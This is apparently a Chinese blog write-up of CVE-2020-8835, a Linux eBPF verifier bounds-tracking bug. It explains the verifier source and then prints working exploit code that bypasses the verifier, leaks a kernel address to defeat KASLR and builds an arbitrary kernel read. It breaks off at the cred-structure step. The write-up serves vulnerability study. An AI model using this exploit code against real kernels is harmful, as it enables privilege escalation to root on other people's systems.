CVE-2020-8835-通过不正确的 EBPF 程序验证导致 LINUX 内核权限提升
2021/10/16 7:14:37
本文主要是介绍CVE-2020-8835-通过不正确的 EBPF 程序验证导致 LINUX 内核权限提升,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
文章目录
- 摘要
- 前言
- 漏洞相关信息
- 准备工作
- 漏洞的相关源码阅读
- 验证程序的整体架构
- 设计目标
- 具体实现
- 漏洞附近的详细代码
- 漏洞利用
- 设计思路
- 绕过验证程序
- 泄漏 KASLR
- 任意读内核地址
- 通过任意的读--查找cred结构
- 通过任意写--进行提权
- 运行结果
- 附录
- 漏洞复现步骤
- 参考链接
- EXP完整代码
摘要
本文实现了:在自行编译的内核上,运行CVE-2020-8835的exp,成功提权。步骤如下:
首先,我们介绍了基本的漏洞信息和复现漏洞的准备工作。接着,我们阅读bpf验证程序,掌握其整体框架。为了了解漏洞的触发过程,我们使用一条指令作为事例,详细的介绍了它的验证过程。在掌握漏洞的触发流程之后,我们阅读exp代码,分块分析代码功能。exp代码作用包括绕过验证程序,利用任意读查找cred结构,利用任意写修改cred结构,从而提权成功。最后,我们附上了关闭/开启KASLR,成功提权的截图。
前言
漏洞相关信息
来源:CVE-2020-8835 Detail
漏洞描述:在 Linux 内核 5.5.0 和更新版本中,bpf 验证器 (kernel/bpf/verifier.c) 没有正确限制 32 位操作的寄存器边界,导致内核内存中的越界读取和写入。该漏洞还影响 Linux 5.4 稳定系列,从 v5.4.7 开始,因为引入提交已向后移植到该分支。此漏洞已在 5.6.1、5.5.14 和 5.4.29 中修复。(问题又名 ZDI-CAN-10780)
漏洞发现过程: Pwn2Own比赛中, RedRocket CTF团队的Manfred Paul选择使用本地提权 (LPE) 漏洞攻击 Ubuntu 桌面。他利用内核中一个不正确的输入验证错误从标准用户变为 root。他第一次涉足 Pwn2Own 世界为他赢得了 30,000 美元和 3 点 Pwn Master of Pwn。(好多money)
漏洞补丁:commit f2d67fec0b43edce8c416101cdc52e71145b5fef,撤销不正确的__reg_bound_offset32
。
准备工作
-
可以先直观的体验一把这个漏洞,这里是大佬已经搭建好的测试环境:CVE-2020-8835。
PS:本文使用的EXP来自该链接。因为不同人的内核编译不同,需要自行根据内核函数偏移,调整EXP。我初始时候,无法在自己的环境中复现,提了issue才知道。感谢~
-
了解基础的bpf应用,可以参考链接其一:The State & Future of eBPF – Thomas Graf, Isovalent - ebpf summit 2021 、深入浅出 eBPF-ebpf.top、高效入门eBPF-Linux内核之旅、《Linux内核观测技术BPF》
-
了解bpf本身:ebpf指令系统、eBPF源码阅读笔记
-
自行搭建内核实验/调试环境:linux内核实验环境搭建-qemu、通过虚拟机调试内核源码-virt-manager
漏洞的相关源码阅读
复现一个漏洞,最麻烦的步骤,是阅读它的上下文代码。但,这也是不得不做的一件事。
我们粗略的阅读源码整体框架,掌握它的基本结构。接着,我们详细阅读,存在漏洞处的相关源码,理解漏洞的成因。
验证程序的整体架构
设计目标
eBPF 验证器-linux document中,描述了ebpf 验证程序的设计。这里我搬运下CVE-2020-8835: LINUX KERNEL PRIVILEGE ESCALATION VIA IMPROPER EBPF PROGRAM VERIFICATION对验证器的描述。
显然,运行任意 JIT 编译的 eBPF 指令将允许任意内存访问,因为加载和存储指令被转换为间接指令mov
。因此,内核在每个程序上运行一个验证器,以确保不能执行 OOB 内存访问,并且不会泄漏内核指针。验证程序大致执行以下操作(其中一些仅适用于非特权进程加载的程序):
- 不能执行指针算术或比较,除了指针和标量值的加法或减法(标量值是任何不是从指针值派生的值)。
- 无法执行离开已知安全内存区域(即映射)边界的指针运算。
- 不能从地图返回指针值,也不能将它们存储在地图中,在那里它们可以从用户空间读取。
- 没有指令可以从自身到达,这意味着程序可能不包含任何循环。
为此,验证器必须针对每条程序指令跟踪哪些寄存器包含指针以及哪些寄存器包含标量值。此外,验证器必须执行范围计算以确保指针永远不会离开其适当的内存区域。它还必须对标量值执行范围跟踪,因为在不知道上下限的情况下,无法判断将包含标量值的寄存器添加到包含指针的寄存器是否会导致越界指针。
为了跟踪每个寄存器的可能值范围,验证器跟踪三个独立的边界:
umin
并umax
跟踪寄存器在解释为无符号整数时可以包含的最小值和最大值。smin
并smax
跟踪寄存器在解释为有符号整数时可以包含的最小值和最大值。var_off
包含有关已知为 0 或 1 的某些位的信息。 的类型var_off
是一种称为 的结构tnum
,它是“tracked number”或“tristate number”的缩写。Atnum
有两个字段。一个名为 的字段value
在所考虑的寄存器中设置了所有已知为 1 的位。另一个名为 的字段mask
设置了所有位,其中寄存器中的相应位未知。例如,如果value
是二进制010
并且mask
是二进制的100
,那么寄存器可以包含二进制010
或二进制110
。
验证器检查每个可能的执行路径,这意味着在每个分支上,两个结果都被单独检查。对于条件跳转的两个分支,可以学习到一些额外的信息。例如,考虑:``BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)。如果寄存器 5 在无符号比较中大于或等于 8,则采用分支。在分析假分支时,验证器能够设置
umax`寄存器 5 到 7,因为任何更高的无符号值都会导致采用另一个分支。
具体实现
参考:eBPF源码阅读笔记
replace_map_fd_with_map_ptr
在使用ebpf指令集编程时,我们使用一个int
型的map_fd
来使用map
。类似于,我们通过文件描述符来控制文件。指令需要通过地址来读写map
。它可不认识map_fd
。本函数的目的:
- 将map_fd,转换为map的地址。
- 将加载后的map_addr分高低32位在上下两条指令中存储。
- 简单的校验非加载map指令的操作码合法性。
// 通过map_fd查找map地址。并将地址分为高低32位,存入上下两条指令的立即数中 ...... f = fdget(insn[0].imm); map = __bpf_map_get(f); ...... addr = (unsigned long)map; ...... insn[0].imm = (u32)addr; insn[1].imm = addr >> 32;
check_subprogs
我暂时看到的ebpf指令程序,都在一个代码片段中,没有见过相互调用。类似于,C语言中整个代码只有一个main
函数,我们要保证所有跳转都在这个main
函数内。至于多个函数组合使用的检查,暂时略过。
// 记录开头位置0,和代码长度insn_cnt。保证跳转不要超出范围。 // 比如代码长度为11,跳转到12位置,则出错。 ...... ret = add_subprog(env, 0); ...... subprog[env->subprog_cnt].start = insn_cnt; ...... if (off < subprog_start || off >= subprog_end) { verbose(env, "jump out of range from insn %d to %d\n", i, off); return -EINVAL; } ......
check_cfg
非递归的深度优先遍历检测是否存在有向无环图。
我们先考虑如何遍历一个有向图。大体思路是这样(很久没看图算法):选择一个入度为零的节点(第一条ebpf指令),将其压栈。选择该点的一条出边向下执行,其他出边对应的点压栈。循环执行。当一个节点所有出边都已遍历,将该节点弹出。当遇到一个点只有入度,出度为零(exit指令),说明这是一条正确的路径。如果,遇到之前使用过的节点,说明存在环,那么这是有问题程序。有的节点从来没有遇到过,说明不可达,需要对该节点消毒。等等。
do_check
该函数是状态检查的重头戏。
-
当遇见BPF_ALU、BPF_ALU64的指令。对多种可能的ALU操作,比如neg、add、xor、rsh等,使用
check_alu_op(env, insn);
进行可能的合法性校验(源、目的操作数、寄存器等)。 -
如果是class==BPF_LDX。即加载指令。
a. 先调用
check_reg_arg(env, insn->src_reg, SRC_OP)
检测src_reg是否可读。b. 再调用
check_reg_arg(env, insn->dst_reg, DST_OP_NO_MARK)
检测dst_reg是否可写。c. 调用
check_mem_access(env, env->insn_idx, insn->src_reg,insn->off, BPF_SIZE(insn->code),BPF_READ, insn->dst_reg, false);
检测真正要读取的位置:src_reg + off
是否可读。
// 不同类型的指令,进入不同的分支,进行状态检查 for (;;) { if (class == BPF_ALU || class == BPF_ALU64) else if (class == BPF_LDX) else if (class == BPF_STX) else if (class == BPF_ST) else if (class == BPF_JMP || class == BPF_JMP32) else if (class == BPF_LD)
fixup_bpf_calls
和replace_map_fd_with_map_ptr
的功能类似。我们在使用内核提供的bpf helper func时候,通过一个数字来使用。比如BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
指令,BPF_FUNC_map_lookup_elem
的宏定义为1。fixup_bpf_calls
函数的作用是修复bpf_call指令的insn->imm
字段,并将符合条件的helper func内联为明确的BPF指令序列。
漏洞附近的详细代码
参考:CVE-2020-8835_eBPF提权漏洞分析
我们重点看下BPF_JMP32_REG(BPF_JLT,BPF_REG_8,BPF_REG_5,2)
这条指令,do_check
如何进行状态检查。注:BPF_REG_5
中存储常量0x1
;BPF_REG_8
运行时从map
加载,验证时无法知道具体值。
参考ebpf指令系统,我们知道上面这条指令:指令为BPF_JMP32
class;operation code 为BPF_JLT
;source 为 BPF_X
,表示使用源寄存器作为操作数。
从上面 **do_check
**中可以看到对于条件跳转,最后会调用 check_cond_jmp_op
函数。
...... else if (class == BPF_JMP || class == BPF_JMP32) ...... } else { err = check_cond_jmp_op(env, insn, &env->insn_idx); if (err) return err; } ......
**check_cond_jmp_op
**函数主要分为两类,一类是比较条件是 寄存器类型,一类是比较条件是 立即数。其首先会调用 is_branch_taken
获取需要执行的分支,然后调用 push_stack
将需要跳转的另一个分支压入栈中。最后会以 两个 bpf_reg_state
类型的 false_reg
和 true_reg
来标识分支的执行情况,并且调用 reg_set_min_max
函数用以修改 false_reg
和 true_reg
的值。
注释:在汇编中,jmp指令跳转,要求条件为真。在高级语言,比如C语言中,如果条件为真,顺序执行,条件为假,跳转到else中。所以,在下面我们会看到push_stack
的分支标记为false
,它是需要跳转的分支,这符合C习惯。作为分支传入reg_set_min_max
,进行处理的时候,它作为true_reg
分支传入。
static int check_cond_jmp_op(struct bpf_verifier_env *env, struct bpf_insn *insn, int *insn_idx) { struct bpf_verifier_state *this_branch = env->cur_state; struct bpf_verifier_state *other_branch; struct bpf_reg_state *regs = this_branch->frame[this_branch->curframe]->regs; struct bpf_reg_state *dst_reg, *other_branch_regs, *src_reg = NULL; u8 opcode = BPF_OP(insn->code); bool is_jmp32; int pred = -1; int err; /* Only conditional jumps are expected to reach here. */ if (opcode == BPF_JA || opcode > BPF_JSLE) { verbose(env, "invalid BPF_JMP/JMP32 opcode %x\n", opcode); return -EINVAL; } if (BPF_SRC(insn->code) == BPF_X) { // 使用源寄存器作为操作数 if (insn->imm != 0) { verbose(env, "BPF_JMP/JMP32 uses reserved fields\n"); return -EINVAL; } /* check src1 operand */ err = check_reg_arg(env, insn->src_reg, SRC_OP); // 源寄存器在寄存器范围内,不能使用没有初始化的寄存器,可读 if (err) return err; if (is_pointer_value(env, insn->src_reg)) { verbose(env, "R%d pointer comparison prohibited\n", insn->src_reg); return -EACCES; } src_reg = ®s[insn->src_reg]; // 将源寄存器寄存器的状态取出:&(env->cur_state->frame[this_branch->curframe]->regs[insn->src_reg]) } else { if (insn->src_reg != BPF_REG_0) { verbose(env, "BPF_JMP/JMP32 uses reserved fields\n"); return -EINVAL; } } /* check src2 operand */ err = check_reg_arg(env, insn->dst_reg, SRC_OP); // ?? 这里应该是:err = check_reg_arg(env, insn->dst_reg, DST_OP)?? if (err) // linux源码没写错。这里是比较指令,目标寄存器只要满足可读即可。 return err; // 而,SRC_OP属性标记,会进入可读判断;DST_OP属性标记,会进入可写判断。JMP指令中,判断可读即可 dst_reg = ®s[insn->dst_reg]; // 将目标寄存器的状态取出 is_jmp32 = BPF_CLASS(insn->code) == BPF_JMP32; // 这里是true,我们上面的指令是32位跳转 if (BPF_SRC(insn->code) == BPF_K) pred = is_branch_taken(dst_reg, insn->imm, opcode, is_jmp32); else if (src_reg->type == SCALAR_VALUE && // 源寄存器存储的不是指针,而是标量值,且这个表示是个确定的常数(mask=0;value即为其值) tnum_is_const(src_reg->var_off)) pred = is_branch_taken(dst_reg, src_reg->var_off.value, // is_branch_taken返回值有三种:1,0,-1 opcode, is_jmp32); // 1 表示这条语句恒成立,即只有跳转的可能 if (pred >= 0) { // 0 表示这条语句恒不成立,即之后顺序执行,不会跳转 err = mark_chain_precision(env, insn->dst_reg); // -1:有可能跳,有可能不跳。我们这条指令便是如此 if (BPF_SRC(insn->code) == BPF_X && !err) err = mark_chain_precision(env, insn->src_reg); if (err) return err; } if (pred == 1) { /* only follow the goto, ignore fall-through */ *insn_idx += insn->off; return 0; } else if (pred == 0) { /* only follow fall-through branch, since * that's where the program will go */ return 0; } other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx, // 将另一条分支的状态环境压栈 false); if (!other_branch) return -EFAULT; other_branch_regs = other_branch->frame[other_branch->curframe]->regs; // 将另一条分支的所有寄存器状态取出 /* detect if we are comparing against a constant value so we can adjust * our min/max values for our dst register. * this is only legit if both are scalars (or pointers to the same * object, I suppose, but we don't support that right now), because * otherwise the different base pointers mean the offsets aren't * comparable. */ if (BPF_SRC(insn->code) == BPF_X) { struct bpf_reg_state *src_reg = ®s[insn->src_reg]; struct bpf_reg_state lo_reg0 = *dst_reg; struct bpf_reg_state lo_reg1 = *src_reg; struct bpf_reg_state *src_lo, *dst_lo; dst_lo = &lo_reg0; src_lo = &lo_reg1; coerce_reg_to_size(dst_lo, 4); coerce_reg_to_size(src_lo, 4); // 寄存器都是64位。指令是JMP32。所以只需要寄存器的低32位状态即可 if (dst_reg->type == SCALAR_VALUE && src_reg->type == SCALAR_VALUE) { if (tnum_is_const(src_reg->var_off) || // 进入这个分支:源寄存器和目标寄存器中的内容都是标量;且源寄存器的是常量 (is_jmp32 && tnum_is_const(src_lo->var_off))) reg_set_min_max(&other_branch_regs[insn->dst_reg], //目标寄存器要和一个常量比较。true/false都根据这个常量,修改umax/umin dst_reg, is_jmp32 ? src_lo->var_off.value : src_reg->var_off.value, opcode, is_jmp32); else if (tnum_is_const(dst_reg->var_off) || (is_jmp32 && tnum_is_const(dst_lo->var_off))) reg_set_min_max_inv(&other_branch_regs[insn->src_reg], src_reg, is_jmp32 ? dst_lo->var_off.value : dst_reg->var_off.value, opcode, is_jmp32); else if (!is_jmp32 && (opcode == BPF_JEQ || opcode == BPF_JNE)) /* Comparing for equality, we can combine knowledge */ reg_combine_min_max(&other_branch_regs[insn->src_reg], &other_branch_regs[insn->dst_reg], src_reg, dst_reg, opcode); } } else if (dst_reg->type == SCALAR_VALUE) { reg_set_min_max(&other_branch_regs[insn->dst_reg], dst_reg, insn->imm, opcode, is_jmp32); } /* detect if R == 0 where R is returned from bpf_map_lookup_elem(). * NOTE: these optimizations below are related with pointer comparison * which will never be JMP32. */ if (!is_jmp32 && BPF_SRC(insn->code) == BPF_K && insn->imm == 0 && (opcode == BPF_JEQ || opcode == BPF_JNE) && reg_type_may_be_null(dst_reg->type)) { /* Mark all identical registers in each branch as either * safe or unknown depending R == 0 or R != 0 conditional. */ mark_ptr_or_null_regs(this_branch, insn->dst_reg, opcode == BPF_JNE); mark_ptr_or_null_regs(other_branch, insn->dst_reg, opcode == BPF_JEQ); } else if (!try_match_pkt_pointers(insn, dst_reg, ®s[insn->src_reg], this_branch, other_branch) && is_pointer_value(env, insn->dst_reg)) { verbose(env, "R%d pointer comparison prohibited\n", insn->dst_reg); return -EACCES; } if (env->log.level & BPF_LOG_LEVEL) print_verifier_state(env, this_branch->frame[this_branch->curframe]); return 0; }
举例:原来的寄存器 r 标量值范围是[0,10]。现在if(r > 5) jmp。则,true分支,它的范围修改为[6,10];false分支,它的范围修改该[0,5]。实现这个功能的函数为**reg_set_min_max
**。
/* Adjusts the register min/max values in the case that the dst_reg is the * variable register that we are working on, and src_reg is a constant or we're * simply doing a BPF_K check. * In JEQ/JNE cases we also adjust the var_off values. */ static void reg_set_min_max(struct bpf_reg_state *true_reg, struct bpf_reg_state *false_reg, u64 val, u8 opcode, bool is_jmp32) { s64 sval; /* If the dst_reg is a pointer, we can't learn anything about its * variable offset from the compare (unless src_reg were a pointer into * the same object, but we don't bother with that. * Since false_reg and true_reg have the same type by construction, we * only need to check one of them for pointerness. */ if (__is_pointer_value(false, false_reg)) return; val = is_jmp32 ? (u32)val : val; sval = is_jmp32 ? (s64)(s32)val : (s64)val; switch (opcode) { case BPF_JEQ: case BPF_JNE: { struct bpf_reg_state *reg = opcode == BPF_JEQ ? true_reg : false_reg; /* For BPF_JEQ, if this is false we know nothing Jon Snow, but * if it is true we know the value for sure. Likewise for * BPF_JNE. */ if (is_jmp32) { u64 old_v = reg->var_off.value; u64 hi_mask = ~0xffffffffULL; reg->var_off.value = (old_v & hi_mask) | val; reg->var_off.mask &= hi_mask; } else { __mark_reg_known(reg, val); } break; } case BPF_JSET: false_reg->var_off = tnum_and(false_reg->var_off, tnum_const(~val)); if (is_power_of_2(val)) true_reg->var_off = tnum_or(true_reg->var_off, tnum_const(val)); break; case BPF_JGE: case BPF_JGT: { u64 false_umax = opcode == BPF_JGT ? val : val - 1; u64 true_umin = opcode == BPF_JGT ? val + 1 : val; if (is_jmp32) { false_umax += gen_hi_max(false_reg->var_off); true_umin += gen_hi_min(true_reg->var_off); } false_reg->umax_value = min(false_reg->umax_value, false_umax); true_reg->umin_value = max(true_reg->umin_value, true_umin); break; } case BPF_JSGE: case BPF_JSGT: { s64 false_smax = opcode == BPF_JSGT ? sval : sval - 1; s64 true_smin = opcode == BPF_JSGT ? sval + 1 : sval; /* If the full s64 was not sign-extended from s32 then don't * deduct further info. */ if (is_jmp32 && !cmp_val_with_extended_s64(sval, false_reg)) break; false_reg->smax_value = min(false_reg->smax_value, false_smax); true_reg->smin_value = max(true_reg->smin_value, true_smin); break; } case BPF_JLE: case BPF_JLT: // 我们指令的操作码是BPF_JLT(<),进入这里~ { u64 false_umin = opcode == BPF_JLT ? val : val + 1; // false分支,不能使得<成立,所以umin最小为val;这样该分支总是>=value u64 true_umax = opcode == BPF_JLT ? val - 1 : val; // 同理,ture分支,umax要设置为val-1;使得<,总成立 // 如果是JMP32,上面赋值,只得到了低32位。我们需要目标寄存器的高32位进行组合 if (is_jmp32) { false_umin += gen_hi_min(false_reg->var_off); // false_umin += var.value & ~0xffffffffULL; 补上高32位确定为1的值 true_umax += gen_hi_max(true_reg->var_off); // true_umax += (var.value | var.mask) & ~0xffffffffULL; 补上高32位中确定为1和(未知便设为1)达到最大值 } false_reg->umin_value = max(false_reg->umin_value, false_umin); // 和原先的边界值进行比较 true_reg->umax_value = min(true_reg->umax_value, true_umax); break; } case BPF_JSLE: case BPF_JSLT: { s64 false_smin = opcode == BPF_JSLT ? sval : sval + 1; s64 true_smax = opcode == BPF_JSLT ? sval - 1 : sval; if (is_jmp32 && !cmp_val_with_extended_s64(sval, false_reg)) break; false_reg->smin_value = max(false_reg->smin_value, false_smin); true_reg->smax_value = min(true_reg->smax_value, true_smax); break; } default: break; } __reg_deduce_bounds(false_reg); // 指令中进行的是无符号值的比较。使用无符号范围umin~umax,来更新有符号范围smin~smax __reg_deduce_bounds(true_reg); /* We might have learned some bits from the bounds. */ __reg_bound_offset(false_reg); // 尝试基于无符号最小/最大信息改进var_off;详细见下方 __reg_bound_offset(true_reg); if (is_jmp32) { // 该分支为漏洞,对于32位,试图再次改进var_off;详细见下方。 __reg_bound_offset32(false_reg); __reg_bound_offset32(true_reg); } /* Intersecting with the old var_off might have improved our bounds * slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc), * then new var_off is (0; 0x7f...fc) which improves our umax. */ __update_reg_bounds(false_reg); // 尝试改进基于var_off信息的最小/最大值 __update_reg_bounds(true_reg); }
这里,借用__reg_bound_offset
函数,引入两个重要的函数**tnum_intersect
和tnum_range
**。这两个函数比较有意思的。
tnum结构:以“ tnum ”的形式了解各个位的值:u64“掩码”和u64“值”。掩码中的 1 表示值未知的位;值中的 1 表示已知为 1 的位。已知为 0 的位在掩码和值中都为 0;两者中的任何位都不应该是 1。例如,如果从内存中将一个字节读入寄存器,则寄存器的前 56 位已知为零,而低 8 位未知 - 表示为 tnum (0x0; 0xff)。如果我们然后将其与 0x40 进行 OR,我们得到 (0x40; 0xbf),然后如果我们加 1 我们得到 (0x0; 0x1ff),因为潜在的进位。
/* Attempts to improve var_off based on unsigned min/max information */ static void __reg_bound_offset(struct bpf_reg_state *reg) { reg->var_off = tnum_intersect(reg->var_off, tnum_range(reg->umin_value, reg->umax_value)); } /** * 函数功能:使用umin/umax,构造新的tnum结构 */ struct tnum tnum_range(u64 min, u64 max) { u64 chi = min ^ max, delta; u8 bits = fls64(chi); // 返回最大值和最小值,从右向左,的,第一位为1的位置。 // 以此位置,可以将chi分为左右两部分: // 右边(低位),可以为零,可以为1。后面mask可以全部标记为1,表示状态未知,但它们可以取0/1。这样,其他地方使用val_off计算最大值的时候,可以将mask这部分全部认为为1。计算最小值的时候,可以将mask这部分全部认为为0 // 左边(高位),使用(min & ~delta)作为新tnum的value,保证了确定为1的值,标记为1。 /* special case, needed because 1ULL << 64 is undefined */ if (bits > 63) return tnum_unknown; /* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7. * if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return * constant min (since min == max). */ delta = (1ULL << bits) - 1; return TNUM(min & ~delta, delta); } /* Note that if a and b disagree - i.e. one has a 'known 1' where the other has * a 'known 0' - this will return a 'known 1' for that bit. */ struct tnum tnum_intersect(struct tnum a, struct tnum b) { u64 v, mu; v = a.value | b.value; // 扩大已知为1的范围 mu = a.mask & b.mask; // 缩小未知,但可选择0/1,的范围 return TNUM(v & ~mu, mu); } struct tnum { u64 value; u64 mask; };
__reg_bound_offset32
函数是导致CVE-2020-8835
的根源。
我们看下当时写代码的人,是什么思路。接着,我们再看看这样的思路有什么问题。
代码思路:使用umin/umax低32位生成新的tnum;截断原来的var_off为高低32位的tnum。将截断的低32tnum与新生成的tnum,进行intersect以跟进范围。最后将截断的高32位tnum与跟进范围的tnum组合,更新var_off。
代码错误:挺好的想法。但是struct tnum range = tnum_range(reg->umin_value & mask,reg->umax_value & mask);
,使用用umin/umax低32位生成新的tnum做法是有问题的。反例,umin = 1,umax=2^32+1,则该函数为tnum(1,1),认为低32位的最大值和最小值都为1。
所以修正这个bug的最简单方法是,删除这个分支以及__reg_bound_offset32
函数:commit f2d67fec0b43edce8c416101cdc52e71145b5fef
static void __reg_bound_offset32(struct bpf_reg_state *reg) { u64 mask = 0xffffFFFF; struct tnum range = tnum_range(reg->umin_value & mask, reg->umax_value & mask); struct tnum lo32 = tnum_cast(reg->var_off, 4); struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32); reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range)); }
漏洞利用
通过上一节,我们掌握到达漏洞的过程。接下来,我们利用该漏洞,进行提权。
我们漏洞利用使用的EXP代码,来自:exp_multi_core.c。相同的完整EXP代码,我放置本文的附录中。
设计思路
将map[0]
中的标量值,传递给寄存器R。ptr
是指向map[0]
元素的地址。利用上面漏洞,让验证程序认为R的标量值为0。这样ptr-R
也在合法范围内,从而通过验证检查。在bpf
程序被JIT
成机器指令后,我们传入map[0]
一个大于零的值,此时ptr-R
指向的范围不在map
中(地址泄露)。之后,我们可以利用这个泄露的地址,读写其不同的相对地址,达成在内核中任意读写,进而实现提权操作。
绕过验证程序
BPF_LD_MAP_FD(BPF_REG_9,ctrl_mapfd), // 将ctrl_mapfd的id值加载到r9 BPF_MAP_GET(0,BPF_REG_8), //1 // 将ctrl_mapfd[0]的值保存到r8;~~后面传入的值为0x2000000000+0x110;~~ BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), // 将ctrl_mapfd[0]的地址保存到r6; /* r_dst = (r0) */ BPF_LD_IMM64(BPF_REG_2,0x4000000000), BPF_LD_IMM64(BPF_REG_3,0x2000000000), BPF_LD_IMM64(BPF_REG_4,0xFFFFffff), BPF_LD_IMM64(BPF_REG_5,0x1), BPF_JMP_REG(BPF_JGT,BPF_REG_8,BPF_REG_2,5), // r8 > 0x4000000000 则跳转; BPF_JMP_REG(BPF_JLT,BPF_REG_8,BPF_REG_3,4), // r8 < 0x2000000000 则跳转; BPF_JMP32_REG(BPF_JGT,BPF_REG_8,BPF_REG_4,3), // (u32)r8 > 0xFFFFffff 则跳转; BPF_JMP32_REG(BPF_JLT,BPF_REG_8,BPF_REG_5,2), // (u32)r8 < 0x1 则跳转; BPF_ALU64_REG(BPF_AND,BPF_REG_8,BPF_REG_4), // 此时验证程序认为r8==0;~~截取保留后面32位,为0x110~~ BPF_JMP_IMM(BPF_JA, 0, 0, 2), // r0寄存器保存BPF_FUNC_map_lookup_elem的返回值,必须大于0。否则上面查找失败 BPF_MOV64_IMM(BPF_REG_0,0x0), BPF_EXIT_INSN(),
利用漏洞,验证程序认为r8只能为零。下面是调试输出截图。
四条赋值指令:
四条比较指令:
泄漏 KASLR
由于map
是arraymap
,bpf_map_ops *ops
指向array_map_ops
。由于这是一个固定位置的常量结构体rodata
(它甚至是一个导出的符号),读取它可以直接绕过 KASLR。
struct bpf_array { struct bpf_map map; u32 elem_size; u32 index_mask; struct bpf_array_aux *aux; union { char value[0] __aligned(8); // <------array类型的map元素,存储在这个位置;向上偏移0x110可达bpf_array结构体的开头,或者说是map开头 void *ptrs[0] __aligned(8); void __percpu *pptrs[0] __aligned(8); }; }; struct bpf_map { /* The first two cachelines with read-mostly members of which some * are also accessed in fast-path (e.g. ops, max_entries). */ const struct bpf_map_ops *ops ____cacheline_aligned; // <-----位置为:&(bpf_array.value)-0x110; struct bpf_map *inner_map_meta; #ifdef CONFIG_SECURITY void *security; #endif enum bpf_map_type map_type; u32 key_size; u32 value_size; u32 max_entries; u32 map_flags; int spin_lock_off; /* >=0 valid offset, <0 error */ u32 id; int numa_node; u32 btf_key_type_id; u32 btf_value_type_id; struct btf *btf; struct bpf_map_memory memory; char name[BPF_OBJ_NAME_LEN]; bool unpriv_array; bool frozen; /* write-once; write-protected by freeze_mutex */ /* 22 bytes hole */ /* The 3rd and 4th cacheline with misc members to avoid false sharing * particularly with refcounting. */ atomic64_t refcnt ____cacheline_aligned; atomic64_t usercnt; struct work_struct work; struct mutex freeze_mutex; u64 writecnt; /* writable mmap cnt; protected by freeze_mutex */ };
实现上面想法的代码如下。 其代码泄露内容,如下图所示。
//-------- exp_mapfd BPF_LD_MAP_FD(BPF_REG_9,exp_mapfd), // 将exp_mapfd的id值加载到r9 BPF_MAP_GET_ADDR(0,BPF_REG_7), //2 // 将exp_mapfd[0]的地址加载到r7; BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_8), // r7 = r7-r8 = r7-0x110;前面必须欺骗r8==0,才能通过; 此条指令之后,r7指向bpf_array。bpf_array第一元素为struct bpf_map map BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0), // struct bpf_map map的第一个元素为bpf_map_ops指针。这里获得bpf_map_ops指针,保存在r0中。 BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x10), // *(u64 *)(r6+0x10)=r0; r6是我们ctrl_mapfd[0]的地址,将泄露的bpf_map_ops指针,保存到ctrl_map[2]中 BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0xc0), // r0=*(u64 *)(r7+0xc0). BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x18), // *(u64 *)(r6+0x18)=r0; 将map+0xc0的地址,保存到ctrl_map[3]中 // 上面ebpf程序被触发,将泄露内容,填入map ---------------------------------------- // 下面代码触发ebpf程序,并从map读取泄露内容 update_elem(0); infoleak(ctrl_buf, ctrl_mapfd); uint64_t map_leak = ctrl_buf[2]; printf("[+] leak array_map_ops:0x%lX\n", map_leak); // 我查看我的对于内核的System.map。 // sudo cat /proc/kallsyms | grep startup_64 // ffffffff81000000 T startup_64 // ffffffff82049940 R array_map_ops // 两者只差为0x1049940 // kernel_base = map_leak - 0x1016480; kernel_base = map_leak - 0x1049940; printf("[+] leak kernel_base addr:0x%lX\n", kernel_base); uint64_t elem_leak = ctrl_buf[3] - 0xc0 +0x110; printf("[+] leak exp_map_elem addr:0x%lX\n", elem_leak);
我们从符号表中,可以查找startup_64
和array_map_ops
的相对偏移量。根据泄露的array_map_ops
的真实地址,我们可以计算出startup_64
的真实地址。从而,内核符号表中所有的其他函数的真实地址,均可计算,绕过KASLR。
任意读内核地址
btf *btf
指向包含调试信息的附加结构。这个指针通常是未使用的(并设置为 NULL),这使它成为一个很好的覆盖目标,而不会把事情搞得一团糟。
btf
结构被我们覆盖,其中的btf->id
是我们需要的内容。用户空间也可以通过BPF_OBJ_GET_INFO_BY_FD
选项的bpf
系统调用,通过info
读取id
的值。
struct btf { void *data; struct btf_type **types; u32 *resolved_ids; u32 *resolved_sizes; const char *strings; void *nohdr_data; struct btf_header hdr; u32 nr_types; u32 types_size; u32 data_size; refcount_t refcnt; u32 id; // <-----结构体的开头偏移量为0x58 struct rcu_head rcu; }; static int bpf_map_get_info_by_fd(struct bpf_map *map, const union bpf_attr *attr, union bpf_attr __user *uattr) { ...... info.btf_id = btf_id(map->btf); // btf->id的内容,赋值到info.btf_id中 ...... // 用户空间通过bpf系统,调用读取info.btf_id,等效与读取到btf->id }
实现上面思路的代码片段如下。其中地址偏移如图所示。
// arbitrary read BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_6,0x20), // r8 = op ctrl_map[4](填充我们需要读取的地址) -> (读取内容填入)r0 BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0x40), // *(u64 *)(r7+0x40)为结构map->btf,=r0 ; map->bpf->id ,=r0+0x58 static uint32_t arbitrary_read(uint64_t addr){ uint32_t read_info; ctrl_buf[0] = 0x2000000000+0x110; ctrl_buf[1] = 1; ctrl_buf[4] = addr - 0x58; bpf_update_elem(0, ctrl_buf, ctrl_mapfd, 0); bpf_update_elem(0, exp_buf, exp_mapfd, 0); writemsg(); read_info = bpf_map_get_info_by_fd(0, exp_buf, exp_mapfd, info); return read_info; } static uint64_t read_8byte(uint64_t addr){ uint32_t addr_low = arbitrary_read(addr); uint32_t addr_high = arbitrary_read(addr + 0x4); return ((uint64_t)addr_high << 32) | addr_low; }
通过任意的读–查找cred结构
